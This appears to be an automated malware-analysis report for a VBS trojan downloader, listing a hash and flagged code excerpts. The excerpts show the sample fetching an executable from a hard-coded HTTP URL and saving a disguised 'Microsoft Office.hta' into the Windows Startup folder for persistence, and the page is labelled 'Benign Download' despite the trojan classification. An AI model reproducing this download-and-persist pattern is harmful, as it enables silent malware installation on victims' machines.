Benign Download

Trojan-Downloader.VBS.Phel.c

Code embeds cleartext HTTP URL literalReferences or resolves Windows Startup folder

SHA-256d445c53f1e9caed440f4f0c989eb389bfee54bcb6cd22bcdeca7548d06ddf5cb

Evidence

English function-word token "with" lines 3–8

3… t evanchik = CreateObject("ADODB.Recordset")
 With evanchik
     .Fields.Append "evanchik", 200, "3000"
     Call .Open
     Call .AddNew
 …

Code embeds cleartext HTTP URL literal line 8

8:84… t : set o = CreateObject(""msxml2.XMLHTTP"") : o.open ""GET"",""http://megatop.biz/1/1.xp.exe"",False : o.send : set s = createobject(""adodb.stream"") : s.type=1 : s.open : s.write o.responseBody : s.savetofile ""C:\mal. …

Windows Start Menu Startup directory reference lines 9–13

9:13… .Update
10   End With
11evanchik.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
12evanchik.Save "C:\office.hta", adPersistXML
13evanchik.Close